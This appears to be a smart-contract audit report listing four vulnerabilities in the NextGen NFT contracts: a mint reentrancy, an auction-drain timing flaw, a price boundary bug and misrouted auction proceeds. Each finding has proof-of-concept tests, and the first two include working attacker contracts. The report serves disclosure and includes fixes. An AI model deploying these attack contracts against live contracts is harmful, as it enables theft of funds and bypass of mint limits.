NextGen - bird-flu's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/MinterContract.sol#L196

Vulnerability details

Summary

NextGenCore::mint() is open to reentrancy allowing an attacker to mint more tokens through NextGenCore than they are allowed by the Collection Admin.

The argument, address _mintTo, passed to MinterContract:mint() opens up the possibility of reentrancy. _mintTo is eventually passed to ERC721:_safeMint(), which calls IERC721Receiver(to).onERC721Received on the target contract. This to contract can then reenter MintContract:mint() before the first call finishes, as ERC721._safeMint calls the external contract, which could call arbitrary logic.

The reentrancy is exploitable in the NextGenCore::mint() function because it does not follow the CEI (check effects interaction) pattern. mintProcessing() is called on line 194, which opens up the reentrancy potential. After the mint is processed, tokensMintedAllowlistAddress or tokensMintedPerAddress (depending on the sale phase) is updated. These values are validated in MinterContract::mint(), lines 224, 213, and 217. However, because MintContract::mint() can be reentered before the validated state is updated, those validations can be bypassed.

1. User calls mint() with _mintTo, a malicious contract.
2. _safeMint calls _mintTo.onERC721Received().
3. _mintTo.onERC721Received() calls mint again.
4. After _safeMint returns, tokensMintedAllowlistAddress/tokensMintedPerAddress is updated.

The resulting behavior allows an exploiter to mint more tokens than the set allowance for both an allowlist and public sale. This breaks the invariant '# of tokens minted by an address does not exceed the max allowance per address'.

Proof of Concept Test

// MintReentract.sol
contract MintReentrant is IERC721Receiver {

    address public minter;
    bool first;

    constructor(address _minter) payable {
        minter = _minter;
    }

    function attack() external {
        IMinterContract(minter).mint{ value: .5 ether }(
            1,
            5,
            1,
            "sampleData",
            address(this),
            new bytes32[](0),
            address(0),
            0
        );
    }

    function mintOne() external {
        IMinterContract(minter).mint{ value: .1 ether }(
            1,
            1,
            1,
            "sampleData",
            address(this),
            new bytes32[](0),
            address(0),
            0
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external override returns (bytes4) {
        if (first) {
            return this.onERC721Received.selector;
        }
        first = true;
        IMinterContract(minter).mint{ value: .5 ether }(
            1,
            5,
            1,
            "sampleData",
            address(this),
            new bytes32[](0),
            address(0),
            0
        );
        return this.onERC721Received.selector;
    }
}

// nextGen.test.js (showing the public mint code path for brevity)
context("Reentrancy Attack with max allowance", () => {
    it('should work with public mint', async () => {
      timestamp = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp;

      await contracts.hhCore.addMinterContract(contracts.hhMinter.getAddress());
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer.getAddress());
      await contracts.hhCore.connect(signers.owner).setCollectionData(
        /* _collectionId */ 1,
        /* _collectionArtistAddress */ signers.addr1.getAddress(),
        /* _maxCollectionPurchases */ 5,
        /* _collectionTotalSupply */ 200,
        /* _setFinalSupplyTimeAfterMint */ timestamp + 250
        // @audit Double check where final supply time after mint is used
      );

      await contracts.hhMinter.setCollectionCosts(1, ethers.parseEther('.1'), ethers.parseEther('.1'), 0, 100, 0, signers.addr1.getAddress())
      await contracts.hhMinter.setCollectionPhases(1, timestamp + 1000, 0, timestamp + 1000, timestamp + 15000, '0x0000000000000000000000000000000000000000000000000000000000000000')

      MintAttacker = await ethers.getContractFactory("MintAttacker");
      mintAttacker = await MintAttacker.deploy(contracts.hhMinter.getAddress(), { value: ethers.parseEther('1.1')});

      await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp + 1000]);
      await mintAttacker.attack();

      expect(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(1, mintAttacker.getAddress())).to.eq(10);
      await expect(mintAttacker.mintOne()).to.be.revertedWith("Max");
    });
  });

Impact

A user can bypass the token allowance for any particular address in an allowlist and public sale. The following validations in MinterContract::mint() are bypassable: 224, 213, and 217. This breaks the invariant '# of tokens minted by an address does not exceed the max allowance per address'.

Tools Used

Manual Review

Recommendations

1. Add a reentrancy guard to MinterContract L196.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract NextGenMinterContract is Ownable {
+ contract NextGenMinterContract is Ownable, ReentrancyGuard { 
-  function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
+  function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant() {

2. Follow the check-effects-interaction pattern in NextGenCore::mint() NextGenCore L189-L200

-   _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
    if (phase == 1) {
        tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
    } else {
        tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
    }
+   _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Bug Description

The claimAuction() function uses require(block.timestamp >= minter.getAuctionEndTime(_tokenid)).

AuctionDemo.sol#L105

The cancelBid(), cancelAllBids() and participateToAuction() functions use require(block.timestamp <= minter.getAuctionEndTime(_tokenid)).

AuctionDemo.sol#L58, AuctionDemo.sol#L125, AuctionDemo.sol#L135

If block.timestamp == minter.getAuctionEndTime(_tokenid), a malicious user can do the following in one transaction:

1. Call participateToAuction() to enter a number of bids
2. Call claimAuction() to receive the NFT for the highest bid and refunds for their losing bids
3. Call cancelAllBids(), again receive refunds for all their bids

Impact

When there is an auction that ends on a block.timestamp, a malicious user can win the auction and drain the contract of all ETH. Since the contract is built to handle multiple auctions simultaneously for NFTs in different collections, it is expected that the contract would have excess ETH.

Proof of Concept

context("Auction Vulnerability", () => {
    it.only("should execute", async () => {
        // Auction contract and collections Setup
        const AuctionDemo = await ethers.getContractFactory("auctionDemo");
        auctionDemo = await AuctionDemo.deploy(
            await contracts.hhMinter.getAddress(),
            await contracts.hhCore.getAddress(),
            await contracts.hhAdmin.getAddress()
        );
        timestamp = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp;

        await contracts.hhCore.addMinterContract(contracts.hhMinter.getAddress());
        await contracts.hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            ["desc"],
        );
        await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer.getAddress());
        await contracts.hhCore.connect(signers.owner).setCollectionData(1, signers.addr1.getAddress(), 100, 200, timestamp + 250);

        await contracts.hhMinter.setCollectionCosts(1, ethers.parseEther('.1'), ethers.parseEther('.1'), 0, 100, 0, signers.addr1.getAddress())
        await contracts.hhMinter.setCollectionPhases(1, timestamp + 25, timestamp + 50, timestamp + 100, timestamp + 150, '0x0000000000000000000000000000000000000000000000000000000000000000')

        await ethers.provider.send("evm_increaseTime", [20]);
        await contracts.hhMinter.connect(signers.owner).mintAndAuction(signers.owner.getAddress(), "Test Auction 1", 10, 1, timestamp + 2000);
        await ethers.provider.send("evm_increaseTime", [100]);
        await contracts.hhMinter.connect(signers.owner).mintAndAuction(signers.owner.getAddress(), "Test Auction 2", 10, 1, timestamp + 1000);

        id1 = 10000000000;
        id2 = 10000000001;
        await contracts.hhCore.connect(signers.owner).approve(auctionDemo.getAddress(), id1);
        await contracts.hhCore.connect(signers.owner).approve(auctionDemo.getAddress(), id2);

        // Auctions and attack
        await auctionDemo.connect(signers.addr1).participateToAuction(id1, { value: ethers.parseEther('1')});
        await auctionDemo.connect(signers.addr2).participateToAuction(id1, { value: ethers.parseEther('2')});
        await auctionDemo.connect(signers.addr3).participateToAuction(id1, { value: ethers.parseEther('3')});

        await auctionDemo.connect(signers.addr1).participateToAuction(id2, { value: ethers.parseEther('1')});

        Attacker = await ethers.getContractFactory("AuctionAttacker");
        attacker = await Attacker.deploy(auctionDemo.getAddress());

        await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp + 1000]);
        transaction = attacker.connect(signers.addr4).attack(
            id2,
            [ethers.parseEther('1.1'), ethers.parseEther('1.4'), ethers.parseEther('2')],
            { value: ethers.parseEther('4.5')}
        );

        await expect(() => transaction).to.changeEtherBalance(signers.addr4, ethers.parseEther('2.5'));
        expect(await ethers.provider.getBalance(contracts.hhCore.getAddress())).to.eq(0);
        expect(await contracts.hhCore.ownerOf(id2)).to.eq(await attacker.getAddress());
    });
});

contract AuctionAttacker {

    address public auctionDemo;

    constructor(address _auctionDemo) {
        auctionDemo = _auctionDemo;
    }

    function attack(uint256 _tokenId, uint256[] memory _bids) external payable {
        uint256 len = _bids.length;
        for (uint256 i; i < len; i++) {
            IAuctionDemo(auctionDemo).participateToAuction{value: _bids[i]}(_tokenId);
        }
        IAuctionDemo(auctionDemo).claimAuction(_tokenId);
        IAuctionDemo(auctionDemo).cancelAllBids(_tokenId);
        (bool success, ) = payable(msg.sender).call{ value: address(this).balance }("");
        require(success);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive() external payable {
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

AuctionDemo.sol#L104-105

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector) {
-   require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+   require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
}

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L530-L568

Vulnerability details

Bug Description

The if statement for getPrice() has the following else if:

MinterContract.sol#L540

else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime)

The if statement for mint() uses block.timestamp <= collectionPhases[_collectionId].publicEndTime, MinterContract.sol#L221.

If a user does a public mint when block.timestamp == collectionPhases[_collectionId].publicEndTime and the NFT uses salesOption=2, getPrice() will return collectionMintCost instead of the price using the decreasing formula.

Proof of Concept

context("getPrice Bug", () => {
    it("should execute", async () => {
      timestamp = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp;

      await contracts.hhCore.addMinterContract(contracts.hhMinter.getAddress());
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer.getAddress());
      await contracts.hhCore.connect(signers.owner).setCollectionData(
        /* _collectionId */ 1,
        /* _collectionArtistAddress */ signers.addr1.getAddress(),
        /* _maxCollectionPurchases */ 20,
        /* _collectionTotalSupply */ 200,
        /* _setFinalSupplyTimeAfterMint */ timestamp + 250
      );

      await contracts.hhMinter.setCollectionCosts(
        /* _collectionId */ 1,
        /* _collectionMintCost */ ethers.parseEther('.1'),
        /* _collectionEndMintCost */ ethers.parseEther('.02'),
        /* _rate */ 0,
        /* _timePeriod */ 100,
        /* _salesOption */ 2,
        /* _delAddress */ signers.addr1.getAddress()
      );
      await contracts.hhMinter.setCollectionPhases(
        /* _collectionId */ 1,
        /* _allowlistStartTime */ timestamp + 1000,
        /* allowlistEndTime */ timestamp + 1999,
        /* publicStartTime */ timestamp + 2000,
        /* publicEndTime */ timestamp + 3000,
        /* merkleRoot */ '0x0000000000000000000000000000000000000000000000000000000000000000'
      );

      await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp + 2999]);
      await ethers.provider.send("evm_mine", []);
      expect(await contracts.hhMinter.getPrice(1)).to.eq(ethers.parseEther('.02'));

      await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp + 3000]);
      await ethers.provider.send("evm_mine", []);
      expect(await contracts.hhMinter.getPrice(1)).to.eq(ethers.parseEther('.1'));
    });
});

Tools Used

Manual Review

Recommended Mitigation Steps

Switch MinterContract.sol#L540 to use <= and >=.

- } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
+ } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp >= collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L113-L114

Vulnerability details

Summary

At the end of an auction in AuctionDemo, the highest bidder claims the token, this transfers the token from the token owner to the auction winner. In the same transaction, the token owner should receive the auction payout.

However, the function AuctionDemo::claimAuction() sends the payout to the AuctionDemo contract owner. This behavior deviates from the listed invariant The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded.

1. Auction is started, alice deployed the AuctionDemo contract and cecilia approved the AuctionDemo contract to transfer her token to the winning bidder.
2. Auction is completed. The highest bid was bob.
3. bob claims his winnings. The token is transfered from cecilia to bob. The bid from bob is sent to alice. cecilia gets nothing.

Impact

Any auction executed through AuctionDemo will have proceeds sent to the AuctionDemo contract owner, not the token owner. The token owner is left without auction proceeds.

PoC

context("Auction Sends proceeds to owner of auctiondemo, not the token owner", () => {
    it.only("should execute", async () => {
    const tokenOwner = signers.addr2;
    const nextGenOwner = signers.owner;
    const highestBidder = signers.addr3;

    // Auction contract and collections Setup
    const AuctionDemo = await ethers.getContractFactory("auctionDemo");
    let auctionDemo = await AuctionDemo.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress()
    );
    timestamp = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp;

    await contracts.hhCore.addMinterContract(contracts.hhMinter.getAddress());
    await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
    );
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer.getAddress());
    await contracts.hhCore.connect(signers.owner).setCollectionData(1, signers.addr1.getAddress(), 100, 200, timestamp + 250);

    await contracts.hhMinter.setCollectionCosts(1, ethers.parseEther('.1'), ethers.parseEther('.1'), 0, 100, 0, signers.addr1.getAddress())
    await contracts.hhMinter.setCollectionPhases(1, timestamp + 25, timestamp + 50, timestamp + 100, timestamp + 150, '0x0000000000000000000000000000000000000000000000000000000000000000')

    await ethers.provider.send("evm_increaseTime", [20]);
    await contracts.hhMinter.connect(nextGenOwner).mintAndAuction(tokenOwner.getAddress(), "Test Auction 1", 10, 1, timestamp + 100);

    id1 = 10000000000;
    await contracts.hhCore.connect(tokenOwner).approve(auctionDemo.getAddress(), id1);

    // Winning auction bid
    await auctionDemo.connect(highestBidder).participateToAuction(id1, { value: ethers.parseEther('2') });

    // Move past auction end time and claim token
    await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp + 101]);
    const transaction = auctionDemo.connect(highestBidder).claimAuction(id1);

    // get owner of auditDemo contract and make sure it's not the token owner for this usecase
    let owner = await auctionDemo.connect(nextGenOwner).owner();
    expect(owner).to.not.equal(tokenOwner.getAddress());

    // NextGen owner receives proceeds, token owner receives nothing.
    await expect(() => transaction).to.changeEtherBalance(nextGenOwner, ethers.parseEther('2'));
    await expect(() => transaction).to.changeEtherBalance(tokenOwner, 0);
    expect(await contracts.hhCore.ownerOf(id1)).to.eq(await highestBidder.getAddress());
    });
});

Tools Used

Manual Review

Recommendations

1. Send the auction proceeds to ownerOfToken instead of owner.

AuctionDemo L113-L114

@@ -110,8 +110,8 @@ contract auctionDemo is Ownable {
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
    if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && 112| auctionInfoData[_tokenid][i].status == true) {
        IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
-       (bool success, ) = payable(owner()).call{value: highestBid}("");
-       emit ClaimAuction(owner(), _tokenid, success, highestBid);
+       (bool success, ) = payable(ownerOfToken).call{value: highestBid}("");
+       emit ClaimAuction(ownerOfToken, _tokenid, success, highestBid);

Assessed type

ETH-Transfer